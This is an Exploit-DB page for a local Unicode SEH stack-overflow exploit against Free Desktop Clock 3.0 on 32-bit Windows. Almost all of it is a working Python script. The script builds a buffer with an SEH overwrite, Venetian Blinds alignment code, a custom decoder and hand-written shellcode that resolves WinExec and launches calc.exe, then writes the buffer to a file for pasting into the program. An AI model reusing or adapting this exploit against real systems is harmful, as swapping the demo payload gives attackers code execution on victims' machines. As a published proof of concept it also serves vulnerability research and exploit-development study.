Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)

EDB-ID:

48314

CVE:

N/A


Author:

boku

Type:

local


Platform:

Windows_x86

Date:

2020-04-13


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-11
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/freeclock.exe
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
# - Does not work on x64 version
# Version: Free Desktop Clock 3.0
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer

############################### CRASH INFO ###############################
# [!] Access violation
#   042D15E7        8908       mov [eax], ecx  ; FreeDesk.00440044
# SEH chain of main thread
#   Address    SE handler
#   0014EE24   FreeDesk.00410041 <- Structured Exception Handler Overwrite
#   00410041   74737953
#   69620C00   *** CORRUPT ENTRY ***
############################### CRASH INFO ###############################

File    = 'poc.txt'

######################### EXPLOIT ENVIRONMENT INFO #########################
#badChars  = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)

# Base       | Rebase | SafeSEH | ASLR  | NXCompat | Modulename
# 0x00400000 | False  | False   | False |  False   | [FreeDesktopClock.exe] 
# 0x042b0000 | True   | False   | False |  False   | [Clock.dll] 
######################### EXPLOIT ENVIRONMENT INFO #########################

os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\xeb\x43'   # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe] 
# nSEH & SEH translated opcodes after Pop-Pop-Ret
#   EB 00                   jmp short +2
#   05 00EB0043             add eax, 4300EB00

# GetPC to decode our decoder using Venetian Blinds technique
getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Use Venetian Blinds technique to fix our mangled decoder
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte. 
#   
# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

############################# ZIPPER DECODER ###############################
# Set EAX = First non-null byte of shellcode
# init:
# 1     |   50          |  push eax     # EAX = &Shellcode
# 2     |   5F          |  pop edi      # EDI = Decoder Destination Base Address
# 3     |   47          |  inc edi      # First 0x00 byte of shellcode
# 4:5   |   33D2        |  xor edx, edx
# 6:7   |   33C9        |  xor ecx, ecx
# 8:11  |   66:B9 1004  |  mov cx, 410  # ECX = Loop Counter
# decodeLoop:
# 12:13 |   33DB        |  xor ebx, ebx
# 14    |   42          |  inc edx       # EDX+EAX = &SourceShellcodeByte 
# 15    |   42          |  inc edx       # increment to next non-null byte
# 16:17 |   32DB        |  xor bl, bl    # clear BL to hold next shellcode byte
# 18:20 |   021C10      |  add bl, [eax+edx] # BL = SourceShellcodeByte
# 21:22 |   203F        |  and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
# 23:24 |   301F        |  xor [edi], bl # Write next byte of shellcode
# 25    |   47          |  inc edi
# 26    |   49          |  dec ecx
# 27:28 |   74 02       |  je short jmp2code
# 29:30 |   ^ EB ED     |  jmp short decodeLoop
# jmp2code:   
# 31    |   50          |  push eax
# 32    |   C3          |  ret
################################################3###########################

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3' 
#               2  4  6  8 10 12 14 16 18 20 22 24 26 28 30 32 

# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes 
# Use the 3 byte version for Venetian Blinds alignment
    # Example:
    #    nasm > add [edx], dh
    #   00000000  0032              add [edx],dh
    #   nasm > add [edx+00], dh
    #   00000000  0032              add [edx],dh
    #   nasm > add [edx+01], dh
    #   00000000  007201            add [edx+0x1],dh
    # + This happens when typing in ASM commands into msf-nasm_shell and immunity

## 2nd byte - \x00 => \x5F
venBlinds   = '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\xC6\x5F'     #   mov byte [eax], 0x50
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 6th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 8th byte - \x00 => \x66
venBlinds  += '\xC6\x66'     #   mov byte [eax], 0x66
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 10th byte - \x00 => \x10
venBlinds  += '\xC6\x10'     #   mov byte [eax], 0x10
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 12th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 14th byte - \x00 => \x42
venBlinds  += '\xC6\x42'     #   mov byte [eax], 0x42
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 16th byte - \x00 => \x32
venBlinds  += '\xC6\x32'     #   mov byte [eax], 0x32
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 18th byte - \x00 => \x02
venBlinds  += '\xC6\x02'     #   mov byte [eax], 0x02
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 20th byte - \x00 => \x10
venBlinds  += '\xC6\x10'     #   mov byte [eax], 0x10
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 22nd byte - \x00 => \x3F
venBlinds  += '\xC6\x3F'     #   mov byte [eax], 0x3F
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 24nd byte - \x00 => \x1F
venBlinds  += '\xC6\x1F'     #   mov byte [eax], 0x1F
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 26th byte - \x00 => \x49
venBlinds  += '\xC6\x49'     #   mov byte [eax], 0x49
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 28th byte - \x00 => \x02
venBlinds  += '\xC6\x02'     #   mov byte [eax], 0x02
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 30th byte - \x00 => \xED
venBlinds  += '\xC6\xED'     #   mov byte [eax], 0xED
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 32nd byte - \x00 => \xC3
venBlinds  += '\xC6\xC3'     #   mov byte [eax], 0xC3
venBlinds  += '\x72'         #   add [edx], dh
venBlinds  += '\x40'         #   inc eax          // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds  += '\xC3'         #   ret  [!] Now we are executing the decoder!

os_decoder   = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

#badChars  = 00 0d 80 82->8e 91->9f
# Custom PopCalc shellcode that avoids the bad characters
fKernel32  = '\x33\xF6'         # xor esi, esi
fKernel32 += '\xF7\xE6'         # mul esi
fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30]   # EBX = Address_of_PEB
fKernel32 += '\x03\x42\x0C'     # add eax, [edx+C]       # EBX = Address_of_LDR
fKernel32 += '\x03\x70\x1C'     # add esi, [eax+1C]      # ESI =  1st entry in InitOrderModuleList / ntdll.dll
fKernel32 += '\xAD'             # lodsd                  # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
fKernel32 += '\x50'             # push eax
fKernel32 += '\x5E'             # pop esi
fKernel32 += '\xAD'             # lodsd                  # EAX = 3rd entry in InitOrderModuleList / kernel32.dll
fKernel32 += '\xFF\x70\x08'     # push dword ptr [eax+8] # [ESP] = &kernel32

gExpotTbl  = '\x33\xC9'         # xor ecx, ecx
gExpotTbl += '\x33\xF6'         # xor esi, esi
gExpotTbl += '\x33\xDB'         # xor ebx, ebx
gExpotTbl += '\xF7\xE3'         # mul ebx
gExpotTbl += '\x58'             # pop eax                #  EAX  = &kernel32
gExpotTbl += '\x50'             # push eax               # [ESP] = &kernel32
gExpotTbl += '\x03\x70\x3C'     # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
gExpotTbl += '\x03\xF0'         # add esi, eax        ; ESI = &NewEXEHeader
gExpotTbl += '\x03\x56\x78'     # add edx, [esi+0x78] ; EDX = RVA ExportTable
gExpotTbl += '\x03\xD0'         # add edx, eax        ; EDX = &ExportTable = 763477B0

gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
gExpotTbl += '\x03\xD8'     # add ebx, eax        ; EBX = &ExportNameTable

gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
gExpotTbl += '\x03\xC8'     # add ecx, eax        ; ECX = &ExportOrdinalTable
gExpotTbl += '\x51'         # push ecx

gExpotTbl += '\x33\xFF'     # xor edi, edi
gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
gExpotTbl += '\x03\xF8'     # add edi, eax        ; EDI = &ExportAddrTable
gExpotTbl += '\x57'         # push edi

fWinExec   = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW
fWinExec  += '\x33\xC0'     # xor eax, eax    ; EAX = Counter

fWinExec  += '\x33\xF6'     # xor esi, esi
fWinExec  += '\x03\xF4'     # add esi, esp  ; ESI = "WinE"
fWinExec  += '\xFC'         # cld           ; Process strings left to right
fWinExec  += '\x50'         # push eax
fWinExec  += '\x33\xC9'     # xor ecx, ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\xF7\xE1'     # mul ecx
fWinExec  += '\x33\xFF'     # xor edi, edi
fWinExec  += '\x03\x3C\x18' # add edi, [eax+ebx] 
fWinExec  += '\x58'         # pop eax
fWinExec  += '\x03\x7C\x24\x0C' # add edi, [esp+0xC]   ; EDI = &NthNameString
fWinExec  += '\xF3\xA6'     # repe cmpsb           ; compare [&NthNameString] to "WinExec"
fWinExec  += '\x74\x03'     # jz found             ; If [&NthNameString] == "WinExec" end loop
fWinExec  += '\x40'         # inc eax              ; Counter ++
fWinExec  += '\xEB\xE1'     # jmp short searchLoop ; restart loop

fWinExec  += '\x33\xC9'     # xor ecx, ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\xF7\xE1'     # mul ecx
fWinExec  += '\x33\xC9'     # xor ecx, ecx
fWinExec  += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
fWinExec  += '\x03\xC8'     # add ecx, eax
fWinExec  += '\x33\xC0'     # xor eax, eax
fWinExec  += '\x66\x03\x01' # add ax, [ecx]      ;  AX = ordinalNumber

fWinExec  += '\x33\xC9'         # xor ecx, ecx
fWinExec  += '\x41\x41\x41\x41' # inc ecx X 4
fWinExec  += '\xF7\xE1'         # mul ecx
fWinExec  += '\xFF\x74\x24\x04' # push dword [esp+0x4]
fWinExec  += '\x01\x04\x24'     # add [esp], eax
fWinExec  += '\x5A'             # pop edx
fWinExec  += '\x33\xDB'         # xor ebx, ebx
fWinExec  += '\x03\x1A'         # add ebx, [edx] ; EBX = RVA WinExec
fWinExec  += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC]     ; EBX = &WinExec
# Call WinExec( CmdLine, ShowState );
#   CmdLine   = "calc.exe"
#   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec  = '\x33\xC9'       # xor ecx, ecx    ; clear eax register
callWinExec += '\x51'         # push ecx        ; string terminator 0x00 for "calc.exe" string
callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e
callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163
callWinExec += '\x33\xC0'       # xor eax, eax
callWinExec += '\x03\xC4'       # add eax, esp    ; save pointer to "calc.exe" string in eax
callWinExec += '\x41'         # inc ecx         ; uCmdShow SW_SHOWNORMAL = 0x00000001
callWinExec += '\x51'         # push ecx        ; uCmdShow  - push 0x1 to stack # 2nd argument
callWinExec += '\x50'         # push eax        ; lpcmdLine - push string address stack # 1st argument
callWinExec += '\xFF\xD3'       # call ebx        ; Call the WinExec Function

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer      = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler      = '\x77'*(9000-len(buffer))
buffer      = buffer+filler

try:
    payload   = buffer
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'